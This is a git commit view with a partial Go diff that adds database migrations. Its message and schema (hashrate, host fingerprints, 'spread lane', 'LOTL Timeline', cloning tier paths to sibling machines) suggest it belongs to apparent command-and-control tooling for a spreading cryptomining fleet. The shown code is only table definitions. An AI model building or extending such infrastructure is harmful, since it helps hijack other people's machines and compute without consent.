Add fleet phenotype cloning for sibling machines.

Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
AetherForge
2026-06-07 02:28:00 -07:00
parent bb48515b2b
commit 4204dd6b6d
25 changed files with 1421 additions and 38 deletions

View File

@@ -214,6 +214,30 @@ func (d *Database) migrate() error {
strategy_json TEXT NOT NULL,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS failure_atlas (
id INTEGER PRIMARY KEY AUTOINCREMENT,
fingerprint_bucket TEXT NOT NULL,
condition TEXT NOT NULL,
tier TEXT NOT NULL,
fail_count INTEGER NOT NULL DEFAULT 0,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
UNIQUE(fingerprint_bucket, condition, tier)
)`,
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_bucket ON failure_atlas(fingerprint_bucket)`,
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_tier ON failure_atlas(tier)`,
`CREATE TABLE IF NOT EXISTS fleet_phenotypes (
id TEXT PRIMARY KEY,
fingerprint TEXT NOT NULL UNIQUE,
source_agent_id TEXT NOT NULL,
source_agent_name TEXT NOT NULL,
os TEXT NOT NULL DEFAULT '',
spread_lane TEXT NOT NULL DEFAULT '',
active_tier TEXT NOT NULL DEFAULT '',
tier_order_json TEXT NOT NULL DEFAULT '[]',
peak_hashrate REAL NOT NULL DEFAULT 0,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {